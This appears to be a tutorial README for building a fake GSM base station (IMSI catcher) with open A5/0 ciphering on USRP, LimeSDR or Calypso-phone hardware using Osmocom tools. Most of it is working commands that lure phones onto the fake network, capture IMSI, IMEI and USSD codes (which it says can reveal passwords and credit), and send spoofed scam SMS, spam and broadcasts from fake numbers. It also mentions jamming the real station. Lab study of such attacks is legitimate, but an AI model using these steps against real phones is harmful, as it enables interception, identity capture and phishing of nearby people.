GSM2_IMSICATCHER_HALFMITM_SPOOFING-SMS-WITHOUT-PHYSICAL-MS

Half MITM = Fake BTS only

Why it is possible ?

  • Fake base station with open ciphering named A5/0, and the network could be GSM(sms, call), and GPRS, EDGE

Attack limitations and advantages

  • local attack but could be targeting (to find local victim)
  • victim couldn't be reached on the real network (indeed call and sms)
  • could be detectable with rooted phone and application like imsi-catcher detector, snoopsnitch because of open network

Devices

  • USRP
  • motorola phone (aka calypso phone on google)
  • LimeSDR

Pratices

  • Install DragonOS 29 or 30
  • Create fake bts with open ciphering (A5/0)
  • sending sms as a virtual number 0341220590
  • sending scam sms with many virtual number randomly to a specific number
  • Send broadcast message as a virtual number
  • Homework : Change the virtual number 0341220590 as 0341220591

Solutions :

  • Solution 1 using USRP (more stable and no need synchronization of existing BTS so if we jam the existing BTS the half mitm still exists)
wget https://raw.githubusercontent.com/SitrakaResearchAndPOC/nitb-script-all/main/osmo-nitb-scripts.zip
unzip osmo-nitb-scripts.zip
cd osmo-nitb-scripts

Database is at : /var/lib/osmocom/hlr.sqlite3
Installing all config

bash install_services.sh

For avoiding lock database error

fuser -k /var/lib/osmocom/hlr.sqlite3

Open HLR.db

gedit scripts/HLR.py 

Change

self.db = sqlite3.connect(hlr_loc)

By

self.db = sqlite3.connect(hlr_loc, timeout=3000)

Change spoof script2 modification

gedit scripts_spoof2/sms_send_source_dest_msg.py  

Before launching sms_send_source_dest_msg.py, please corret the help, change :

usage: ./sms_broadcast.py extension message
This script sends a message from the specified extension (number) to all devices connected to this base station

to

usage: ./sms_send_source_dest_msg.py extension_source extension_destination  message
This script sends a message from the specified extension source (number) to extension destination connected to this base station

Running the transceiver

osmo-trx-uhd -C /etc/osmocom/osmo-trx-uhd.cfg

Running main_uhd_spoof associate with configs/openbsc_spoof.cfg
ctrl+shift+T

cd osmo-nitb-scripts
python3 main_uhd_spoof.py

ctrl+shift+T

cd osmo-nitb-scripts/scripts_spoof2

Tape *#*#4636#*#* and choose GSM only on your Android phone
Search GSM network (on your phone), associate with PLMN MCC 001 && MNC 01
Tape *#001# for finding your phone number (extension with osmo-bts)

python2 show_subscribers.py 

You could find imsi and extension
Create a virtual extension 0341220590 and send sms to existing extension eg : 164

python2 sms_send_source_dest_msg.py 0341220590 164 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Creating many extensions for sending a scam sms repeat 3 times

python2 sms_spam.py 164 3 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Sending a broadcast sms by using a virtual number as extension 165

python2 sms_broadcast.py 165 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 
  • Solution 1debug using USRP with manual and debug mode
wget https://raw.githubusercontent.com/SitrakaResearchAndPOC/nitb-script-all/main/osmo-nitb-scripts.zip
unzip osmo-nitb-scripts.zip
cd osmo-nitb-scripts
bash install_services.sh

For avoiding lock database error

fuser -k /var/lib/osmocom/hlr.sqlite3

Open HLR.db

gedit scripts/HLR.py 

Change

self.db = sqlite3.connect(hlr_loc)

By

self.db = sqlite3.connect(hlr_loc, timeout=3000)

Change spoof script2 modification

gedit scripts_spoof2/sms_send_source_dest_msg.py

Before launching sms_send_source_dest_msg.py, please corret the help, change :

usage: ./sms_broadcast.py extension message
This script sends a message from the specified extension (number) to all devices connected to this base station

to

usage: ./sms_send_source_dest_msg.py extension_source extension_destination  message
This script sends a message from the specified extension source (number) to extension destination connected to this base station

Running the transceiver

osmo-trx-uhd -C /etc/osmocom/osmo-trx-uhd.cfg

ADDING DEBUG MODE OPTIONS : --debug=DRLL:DCC:DMM:DRR:DRSL:DNM
Database at : /var/lib/osmocom/hlr.sqlite3

/usr/local/bin/osmo-nitb --yes-i-really-want-to-run-prehistoric-software -s -C -c /etc/osmocom2/osmo-nitb.cfg -l /var/lib/osmocom/hlr.sqlite3  --debug=DRLL:DCC:DMM:DRR:DRSL:DNM

Launching the bts on debug mode ADDING DEBUG MODE OPTIONS : --debug DRSL:DOML:DLAPDM

/usr/local/bin/osmo-bts-trx -s -c /etc/osmocom2/osmo-bts-trx.cfg --debug DRSL:DOML:DLAPDM

Have a look on the terminal at the command : /usr/local/bin/osmo-nitb --yes-i-really-want-to-run-prehistoric-software -s -C -c /etc/osmocom2/osmo-nitb.cfg -l /var/lib/osmocom/hlr.sqlite3 --debug=DRLL:DCC:DMM:DRR:DRSL:DNM

Tape *#*#4636#*#* and choose GSM only on your Android phone
Search GSM network (on your phone), associate with PLMN MCC 001 && MNC 01
Have a look on log for capturing IMSI and IMEI

Tape *#001# for finding your phone number (extension with osmo-bts)
Have a look on the log about USSD: Own number requested

Tape USSD *100*123# Have a look on log of USSB : Unhandled USSD (possible to steal password and credits)

ctrl+shift+T

cd osmo-nitb-scripts/scripts_spoof2

Tape *#*#4636#*#* and choose GSM only on your Android phone
Search GSM network (on your phone), associate with PLMN MCC 001 && MNC 01
Tape *#001# for finding your phone number (extension with osmo-bts)

python2 show_subscribers.py 

You could find imsi and extension
Create a virtual extension 0341220590 and send sms to existing extension eg : 164

python2 sms_send_source_dest_msg.py 0341220590 164 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Creating many extensions for sending a scam sms repeat 3 times

python2 sms_spam.py 164 3 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Sending a broadcast sms by using a virtual number as extension 165

python2 sms_broadcast.py 165 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 
  • Solution 2 : using one motorola phone
    (Not so stable and need synchronization of existing BTS by finding arfcn of synchronization so if we jam the existing BTS the half mitm doesn't exist anymore)

Hardware setup 1 : Need battery and not programmable with arduino

serial_cable smartspate sudonull

Hardware setup 2 : No need battery and programmable with arduino

Command you need :

dmesg | grep ttyUSB*
wget https://raw.githubusercontent.com/SitrakaResearchAndPOC/nitb-script-all/main/osmo-nitb-scripts-calypsobts.zip
unzip osmo-nitb-scripts-calypsobts.zip 
cd osmo-nitb-scripts-calypsobts

Tape *#*#4636#*#* and choose GSM only on your Android phone
Installing network signal guru on your android phone
And finding the arfcn that this one is connect
Let's name this arfcn as 975
Configure arfcn at services/osmo-trx-lms3.service as 975

gedit services/osmo-trx-lms3.service

Save the configuration

bash install_services.sh 

For avoiding lock database error

fuser -k /var/lib/osmocom/hlr.sqlite3

Open HLR.db

gedit scripts/HLR.py 

Change

self.db = sqlite3.connect(hlr_loc)

By

self.db = sqlite3.connect(hlr_loc, timeout=3000)

Change spoof script2 modification

gedit scripts_spoof2/sms_send_source_dest_msg.py  

Before launching sms_send_source_dest_msg.py, please corret the help, change :

usage: ./sms_broadcast.py extension message
This script sends a message from the specified extension (number) to all devices connected to this base station

to

usage: ./sms_send_source_dest_msg.py extension_source extension_destination  message
This script sends a message from the specified extension source (number) to extension destination connected to this base station

Running transceiver

bash trx.sh

Click button power of motorola phone
Tape ctrl+shift+T

cd osmo-nitb-scripts-calypsobts
python3 main_spoof.py

ctrl+shift+T

cd osmo-nitb-scripts-calypsobts/scripts_spoof2

Tape *#*#4636#*#* and choose GSM only on your Android phone
Search GSM network (on your phone), associate with PLMN MCC 001 && MNC 01
Tape *#001# for finding your phone number (extension with osmo-bts)

python2 show_subscribers.py 

You could find imsi and extension
Create a virtual extension 0341220590 and send sms to existing extension eg : 164

python2 sms_send_source_dest_msg.py 0341220590 164 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Creating many extensions for sending a scam sms repeat 3 times

python2 sms_spam.py 164 3 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Sending a broadcast sms by using a virtual number as extension 165

python2 sms_broadcast.py 165 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Solution 2debug : using one motorola phone, manual script on debug mode Command you need :

dmesg | grep ttyUSB*
wget https://raw.githubusercontent.com/SitrakaResearchAndPOC/nitb-script-all/main/osmo-nitb-scripts-calypsobts.zip
unzip osmo-nitb-scripts-calypsobts.zip 
cd osmo-nitb-scripts-calypsobts

Tape *#*#4636#*#* and choose GSM only on your Android phone
Installing network signal guru on your android phone
And finding the arfcn that this one is connect
Let's name this arfcn as 975
Configure arfcn at services/osmo-trx-lms3.service as 975

gedit services/osmo-trx-lms3.service

Save the configuration

bash install_services.sh 

For avoiding lock database error

fuser -k /var/lib/osmocom/hlr.sqlite3

Open HLR.db

gedit scripts/HLR.py 

Change

self.db = sqlite3.connect(hlr_loc)

By

self.db = sqlite3.connect(hlr_loc, timeout=3000)

Change spoof script2 modification

gedit scripts_spoof2/sms_send_source_dest_msg.py  

Before launching sms_send_source_dest_msg.py, please corret the help, change :

usage: ./sms_broadcast.py extension message
This script sends a message from the specified extension (number) to all devices connected to this base station

to

usage: ./sms_send_source_dest_msg.py extension_source extension_destination  message
This script sends a message from the specified extension source (number) to extension destination connected to this base station

Running transceiver

bash trx.sh

Click button power of motorola phone
Tape ctrl+shift+T
Launching osmo-nitb with debug mode --debug=DRLL:DCC:DMM:DRR:DRSL:DNM Database at : /usr/src/CalypsoBTS/hlr.sqlite3

osmo-nitb --yes-i-really-want-to-run-prehistoric-software -c /usr/src/CalypsoBTS/openbsc.cfg -l /usr/src/CalypsoBTS/hlr.sqlite3 -P -C --debug=DRLL:DCC:DMM:DRR:DRSL:DNM

Launching osmo-bts with debug mode option : --debug DRSL:DOML:DLAPDM

osmo-bts-trx -c /usr/src/CalypsoBTS/osmo-bts-trx-calypso.cfg --debug DRSL:DOML:DLAPDM -r 99

Have a look on the terminal at the command : /usr/local/bin/osmo-nitb --yes-i-really-want-to-run-prehistoric-software -s -C -c /etc/osmocom2/osmo-nitb.cfg -l /var/lib/osmocom/hlr.sqlite3 --debug=DRLL:DCC:DMM:DRR:DRSL:DNM

Tape *#*#4636#*#* and choose GSM only on your Android phone
Search GSM network (on your phone), associate with PLMN MCC 001 && MNC 01
Have a look on log for capturing IMSI and IMEI

Tape *#001# for finding your phone number (extension with osmo-bts)
Have a look on the log about USSD: Own number requested

Tape USSD *100*123# Have a look on log of USSB : Unhandled USSD (possible to steal password and credits)

ctrl+shift+T

cd osmo-nitb-scripts/scripts_spoof2

Tape *#*#4636#*#* and choose GSM only on your Android phone
Search GSM network (on your phone), associate with PLMN MCC 001 && MNC 01
Tape *#001# for finding your phone number (extension with osmo-bts)

python2 show_subscribers.py 

You could find imsi and extension
Create a virtual extension 0341220590 and send sms to existing extension eg : 164

python2 sms_send_source_dest_msg.py 0341220590 164 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Creating many extensions for sending a scam sms repeat 3 times

python2 sms_spam.py 164 3 "link gmail"

You could find imsi and extension

python2 show_subscribers.py 

Sending a broadcast sms by using a virtual number as extension 165

python2 sms_broadcast.py 165 "link gmail"

You could find imsi and extension

python2 show_subscribers.py